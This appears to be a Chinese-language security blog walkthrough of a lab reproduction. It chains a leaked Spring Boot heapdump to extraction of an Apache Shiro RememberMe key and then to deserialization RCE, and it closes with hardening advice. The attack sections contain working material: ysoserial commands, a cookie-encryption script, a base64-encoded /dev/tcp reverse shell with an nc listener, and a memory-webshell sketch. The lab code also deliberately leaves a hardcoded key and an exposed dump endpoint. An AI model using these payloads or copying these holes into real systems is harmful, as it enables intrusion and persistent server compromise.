1. 项目概述一次由内存快照引发的安全连锁反应最近在内部的一次红蓝对抗演练中我遇到了一个非常经典的场景一个暴露在公网的Spring Boot应用因为运维配置不当导致其堆内存转储文件heapdump可以被直接下载。这本身已经是一个严重的信息泄露问题但更危险的是这个应用恰好使用了Apache Shiro框架进行权限控制。通过对这个heapdump文件的深入分析我们不仅成功提取到了Shiro的加密密钥更利用这个密钥最终实现了远程代码执行。整个过程就像一场精密的“外科手术”从信息泄露到权限突破环环相扣。今天我就把这个完整的实战复现过程拆解开来分享给各位安全研究员和开发同学希望能让大家对这类“组合拳”式的安全风险有更深刻的认识。简单来说这个案例的核心路径是Spring应用配置疏漏 - heapdump文件泄露 - 内存分析提取Shiro RememberMe密钥 - 构造反序列化攻击链 - 实现远程命令执行。它完美地展示了一个看似中低危的漏洞点如何在与特定框架、特定配置结合后演变成一条直通系统核心的高危利用链。无论你是负责攻防的安全工程师还是开发此类应用的Java程序员理解这个链条的每一个环节都至关重要。2. 环境搭建与漏洞场景模拟为了完整复现整个攻击过程我们需要先搭建一个存在漏洞的靶场环境。这里的关键在于模拟出真实世界中那种“无心之失”的配置状态。2.1 靶场应用构建我们使用Spring Boot快速构建一个简单的Web应用。它包含一个需要登录才能访问的管理员页面并使用Apache Shiro 1.x版本这里选择存在经典反序列化漏洞的1.2.4版本来处理会话和“记住我”功能。首先在pom.xml中引入关键依赖dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency dependency groupIdorg.apache.shiro/groupId artifactIdshiro-spring/artifactId version1.2.4/version /dependencyShiro的配置类中我们故意使用一个固定的、复杂度不高的密钥来加密RememberMe Cookie。这是第一个隐患点但在很多老旧或开发阶段的应用中非常常见。Bean public DefaultWebSecurityManager securityManager(Realm realm) { DefaultWebSecurityManager securityManager new DefaultWebSecurityManager(); securityManager.setRealm(realm); CookieRememberMeManager rememberMeManager new CookieRememberMeManager(); // 关键使用一个硬编码的、较弱的AES密钥 byte[] cipherKey Base64.decode(kPHbIxk5D2deZiIxcaaaA); rememberMeManager.setCipherKey(cipherKey); securityManager.setRememberMeManager(rememberMeManager); return securityManager; }2.2 模拟heapdump泄露端点接下来我们模拟那个致命的配置错误。在Spring Boot中Actuator端点/actuator/heapdump可以提供堆转储功能但通常需要认证和管理权限。为了模拟漏洞我们故意在一个无需认证的控制器里嵌入一段能触发JVM生成heapdump的代码并允许通过一个简单GET请求下载。我们在应用里添加一个HeapDumpControllerRestController public class HeapDumpController { GetMapping(/debug/dump) public void dumpHeap(HttpServletResponse response) throws IOException { // 这是一个高度危险的、模拟错误配置的端点 String fileName heapdump.hprof; response.setContentType(application/octet-stream); response.setHeader(Content-Disposition, attachment; filename\ fileName \); // 使用HotSpot JVM特有的API生成堆转储仅用于测试环境 try { com.sun.management.HotSpotDiagnosticMXBean bean ManagementFactory.getPlatformMXBean(com.sun.management.HotSpotDiagnosticMXBean.class); File dumpFile new File(fileName); bean.dumpHeap(fileName, false); // false表示只存活对象 Files.copy(dumpFile.toPath(), response.getOutputStream()); dumpFile.delete(); } catch (Exception e) { response.sendError(500, Heap dump failed); } } }启动应用后访问http://localhost:8080/debug/dump浏览器就会自动下载一个名为heapdump.hprof的文件。至此漏洞场景已就绪攻击者已经拿到了包含应用运行时所有对象内存状态的金矿。注意在实际渗透测试中heapdump泄露的途径多种多样可能是误配置的Actuator端点、服务器目录遍历、备份文件泄露等。其核心特征就是攻击者能够获取到完整的.hprof文件。3. 从heapdump中提取Shiro密钥拿到heapdump文件后下一步就是使用专业工具对其进行分析寻找敏感信息。这里我们使用Eclipse Memory Analyzer一款功能强大的Java堆分析工具。3.1 使用MAT进行初步分析将heapdump.hprof导入MAT。MAT会生成一个概览报告我们可以从“Histogram”直方图开始查看所有类的实例数量。我们的目标是找到Shiro中负责管理RememberMe Cookie的CookieRememberMeManager类实例。在MAT的OQL对象查询语言控制台中执行以下查询SELECT * FROM org.apache.shiro.web.mgt.CookieRememberMeManager查询结果会显示内存中该类的实例。通常在一个运行中的Web应用里这类管理器是单例的。右键点击这个实例选择“Path To GC Roots” - “with all references”查看是什么对象持有它通常会是SecurityManager。然后右键点击该实例选择“Show Retained Set”查看这个对象所持有的所有数据。3.2 定位并导出CipherKey在CookieRememberMeManager的保留集中我们需要寻找一个类型为byte[]、名为cipherKey的字段。这是AES加密解密的核心密钥。在对象属性面板中展开该实例的字段。找到类型为byte[]的cipherKey或encryptionCipherKey字段。右键点击该字段值会显示为类似byte[16] 0x7a1b3d4选择“Copy” - “Save Value To File”。将其保存为一个二进制文件例如raw_key.bin。此时我们得到的是密钥的原始字节。Shiro通常使用Base64编码的字符串形式进行配置。我们需要将其转换。可以使用一个简单的Python脚本来完成import base64 with open(raw_key.bin, rb) as f: key_bytes f.read() shiro_key base64.b64encode(key_bytes).decode(utf-8) print(fExtracted Shiro key: {shiro_key})如果一切顺利这里打印出来的字符串应该与我们之前在配置类中硬编码的kPHbIxk5D2deZiIxcaaaA完全一致。至此攻击的第一阶段——密钥提取——已经成功。我们拿到了Shiro用于加密和解密RememberMe Cookie的“万能钥匙”。实操心得在真实的、复杂的heapdump中密钥可能不那么直观。有时需要查看AbstractRememberMeManager基类的cipherKey字段或者关注JcaCipherService等组件中的密钥存储。善用MAT的“Merge Shortest Paths To GC Roots”功能可以帮助快速理清大对象的引用关系。另外如果应用使用了随机生成的密钥那么在heapdump中也能找到生成该密钥的KeyGenerator或相关SecureRandom对象的状态虽然复杂但理论上仍有迹可循。4. 利用Shiro密钥构造反序列化攻击拿到密钥后攻击就从信息泄露进入了真正的漏洞利用阶段。Shiro RememberMe功能的漏洞本质在于其使用AES加密后的数据在解密后会被直接进行Java反序列化操作。如果我们能构造一个恶意的序列化对象并用正确的密钥加密Shiro就会在不知情的情况下反序列化它从而执行我们嵌入的代码。4.1 攻击链选择与载荷生成我们需要一个在目标应用类路径中存在的、可利用的反序列化攻击链Gadget Chain。在Java生态中CommonsCollectionsCC链是Shiro反序列化漏洞中最常被利用的经典链之一。我们假设目标环境包含了commons-collections 3.2.1。使用ysoserial这类工具可以方便地生成攻击载荷。我们打算让目标服务器执行一个简单的命令例如在Linux上弹出计算器gnome-calculator作为验证。java -jar ysoserial.jar CommonsCollections5 gnome-calculator payload.ser这生成了一个包含执行命令的序列化对象的二进制文件payload.ser。4.2 使用密钥加密载荷生成了原始的恶意序列化载荷后我们不能直接将其作为Cookie发送。Shiro期望的RememberMe Cookie值是经过特定模式AES-CBC加密并Base64编码的。我们需要用之前提取的密钥模拟Shiro的加密过程对payload.ser进行加密。这里我分享一个精简版的Python加密脚本它使用了pycryptodome库来模拟Shiro 1.2.4的默认加密行为import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt_shiro(key_b64, payload_file): # 解码密钥 key base64.b64decode(key_b64) # 读取恶意序列化载荷 with open(payload_file, rb) as f: payload f.read() # Shiro 1.2.4 默认使用AES CBC模式PKCS5PaddingIV为全零 iv b\x00 * AES.block_size cipher AES.new(key, AES.MODE_CBC, iv) # 加密并添加Padding encrypted cipher.encrypt(pad(payload, AES.block_size)) # Base64编码后即为最终的RememberMe Cookie值 rememberme_cookie base64.b64encode(encrypted).decode(utf-8) return rememberme_cookie shiro_key kPHbIxk5D2deZiIxcaaaA cookie_value encrypt_shiro(shiro_key, payload.ser) print(fRememberMe Cookie: {cookie_value})运行这个脚本我们会得到一个长长的Base64字符串这就是我们伪造的、经过“合法”加密的RememberMe Cookie。4.3 发起攻击现在我们使用Burp Suite或cURL等工具向目标应用发送一个HTTP请求并在Cookie头中带上这个伪造的值。GET /admin HTTP/1.1 Host: vulnerable-app.com Cookie: rememberMe这里填入上面生成的cookie值 ...如果目标应用存在相应的反序列化链且没有额外的防护措施那么服务器在处理这个请求时会进行如下操作从Cookie中读取rememberMe值。使用内存中相同的密钥我们已窃取进行AES解密。将解密后的字节流进行Java反序列化。反序列化过程触发CommonsCollections攻击链最终执行我们预设的命令gnome-calculator。此时在目标服务器的桌面上应该会弹出一个计算器窗口。这标志着远程代码执行RCE已经成功。注意事项这一步的成功依赖于多个条件的同时满足也被称为“攻击面交集”密钥匹配提取的密钥必须与服务器当前使用的密钥完全一致。如果服务器重启后密钥随机生成则旧的heapdump失效。攻击链存在目标应用的classpath中必须包含可用的反序列化链依赖如特定版本的commons-collections。无安全拦截目标JVM没有配置反序列化过滤器JEP 290应用代码中也没有额外的输入验证或RASP防护。 在实际渗透中可能需要尝试多个不同的攻击链CC链的不同版本、Beanutils链等并需要将命令执行转换为无回显的探测或反弹Shell的载荷。5. 深度利用从命令执行到稳定控制弹计算器只是一个证明概念PoC。在真实的攻击中攻击者追求的是稳定的、持久的控制权。因此在确认RCE可行后我们需要进行更深度的利用。5.1 构造反弹Shell载荷为了避免防火墙对出站流量的严格审查我们倾向于使用更常见的协议如HTTP或DNS。但为了演示这里仍以经典的反弹TCP Shell为例。我们可以使用bash或python编写一段编码后的命令。首先在攻击机上监听一个端口nc -lvnp 4444然后生成一个执行反弹Shell命令的序列化载荷。注意命令需要根据目标系统环境进行调整Linux/Windows可用的解释器等。# 生成一个执行 /bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01 的载荷 java -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} reverse.ser上述命令中的长字符串是bash -i /dev/tcp/192.168.1.100/4444 01的Base64编码目的是绕过一些简单的字符串检测。同样地用之前的脚本加密reverse.ser并将新的Cookie值发送给目标。5.2 内存马注入实现持久化访问通过反序列化执行单次命令是不稳定的一旦HTTP请求结束进程可能就结束了。更高级的技术是向目标JVM中注入一个“内存WebShell”即内存马。这样攻击者可以通过访问一个特定的URL路径随时在服务器上执行命令。常见的注入方式是通过反序列化漏洞动态注册一个恶意的Filter、Servlet或Controller到运行的Spring/Java Web容器中。例如可以注入一个Filter当请求参数包含特定密码时就执行请求中的命令。利用ysoserial的Spring1或Spring2链如果目标环境存在Spring相关依赖可以配合特定的载荷来实现内存马的注入。这里有一个概念性的步骤编写恶意类编写一个实现Filter接口的类其doFilter方法会解析请求参数并执行命令。制作特殊载荷制作一个序列化对象该对象在被反序列化时能利用Spring的内省机制将我们编写的恶意Filter动态添加到当前Web应用的FilterChain中。加密并发送同样使用Shiro密钥加密该载荷并发送。成功后攻击者访问http://target.com/path?passwordsecretcmdwhoami就能收到命令执行的结果。这种方式无需写入文件更难被传统的文件扫描检测到。排查技巧实录在测试内存马注入时最常遇到的问题就是“链不兼容”。Spring内核版本、Shiro版本、JDK版本的不同都会影响攻击链的可用性。我的经验是在真实环境中准备一个“武器库”包含多个版本的CC链3.1, 3.2.1、多个Spring链1, 2、以及BeanUtils链等。通过“盲打”的方式依次尝试这些加密后的Cookie并根据服务器的响应时间、错误日志如果可获取或使用DNSlog等外带通道来确认是否执行成功。一种常见的探测方法是让载荷执行一条ping命令目标指向一个你能接收DNS查询记录的域名如ping这能有效帮助判断漏洞是否存在以及哪条链可用。6. 防御策略与安全加固建议通过完整的复现我们看到了从信息泄露到RCE的惊人威力。那么从防御者角度应该如何构建防线避免被此类“组合拳”击穿呢6.1 杜绝敏感信息泄露这是整个攻击链的起点必须被彻底封死。严格管理Actuator端点在生产环境中务必通过management.endpoints.web.exposure.include/exclude属性精细控制暴露的端点。对于heapdump、env、trace这类高危端点坚决不应暴露在公网。如果确有需要必须配置强认证如Spring Security集成和基于角色的访问控制。定期进行配置审计使用安全扫描工具或人工检查确保没有开发、调试接口如/debug/,/test/,/dump被无意间暴露。application.properties或application.yml中的配置特别是server.servlet.context-path,management.server.port等需要仔细审查。最小化文件系统权限确保应用运行用户对Web根目录、临时目录等只有最小必要权限防止通过路径遍历等方式下载到heapdump或其他配置文件。6.2 安全使用Shiro框架针对Shiro框架本身进行加固切断攻击链的核心环节。使用随机且强壮的密钥绝对禁止在代码中硬编码密钥。Shiro官方推荐的方式是使用KeyGenerator在应用启动时生成随机密钥。对于集群环境需要将密钥安全地分发给所有节点。Bean public DefaultWebSecurityManager securityManager() { ... CookieRememberMeManager rememberMeManager new CookieRememberMeManager(); // 使用AES算法生成一个128位的随机密钥 KeyGenerator kg KeyGenerator.getInstance(AES); kg.init(128); byte[] key kg.generateKey().getEncoded(); rememberMeManager.setCipherKey(key); ... }升级到安全版本尽可能升级到Shiro的最新安全版本1.13.0。新版本在反序列化方面做了更多防护。但请注意升级可能带来兼容性问题需充分测试。禁用RememberMe功能如果业务不需要“记住我”功能最简单有效的方法就是彻底禁用它。在Shiro配置中不设置RememberMeManager即可。引入反序列化过滤器在Shiro反序列化前插入自定的ObjectInputStream并设置一个严格的反序列化类白名单。这是最根本的解决方案但实现起来需要对应用的所有序列化类有全面了解。public class SafeObjectInputStream extends ObjectInputStream { private static final SetString WHITELIST Set.of( java.lang.String, java.util.HashMap, // ... 仅允许必要的类 ); Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!WHITELIST.contains(desc.getName())) { throw new InvalidClassException(Unauthorized deserialization attempt, desc.getName()); } return super.resolveClass(desc); } }然后在自定义的RememberMeManager中使用这个安全的输入流来读取解密后的数据。6.3 构建纵深防御体系单一防御措施可能被绕过需要构建多层次防御。部署RASP在应用层部署运行时应用自我保护程序。RASP可以Hook关键API如ObjectInputStream.readObject在反序列化发生时进行实时检测和拦截即使攻击者利用了未知链0day也能有效防御。使用WAF在网络边界部署Web应用防火墙配置规则以识别和拦截恶意的RememberMe Cookie长度、编码特征或已知攻击载荷的Pattern。最小化依赖定期审查pom.xml或build.gradle移除不必要的依赖特别是已知存在高危反序列化链的库如老版本的commons-collections,commons-beanutils等。如果必须使用应升级到已修复漏洞的版本。启用JEP 290对于JDK 9的环境可以启用JEP 290提供的反序列化过滤器机制通过设置jdk.serialFilter系统属性来全局限制可反序列化的类。这为所有使用标准Java序列化的组件提供了一层基础防护。整个攻防过程就像一场博弈。这个案例清晰地告诉我们安全是一个整体任何一个环节的疏忽——无论是运维配置、框架使用还是代码编写——都可能被串联起来形成致命的突破口。作为开发者理解攻击者的思路和手段是写出更安全代码的第一步。而作为安全人员则需要时刻保持对这类“低危变高危”链式攻击的敏感度。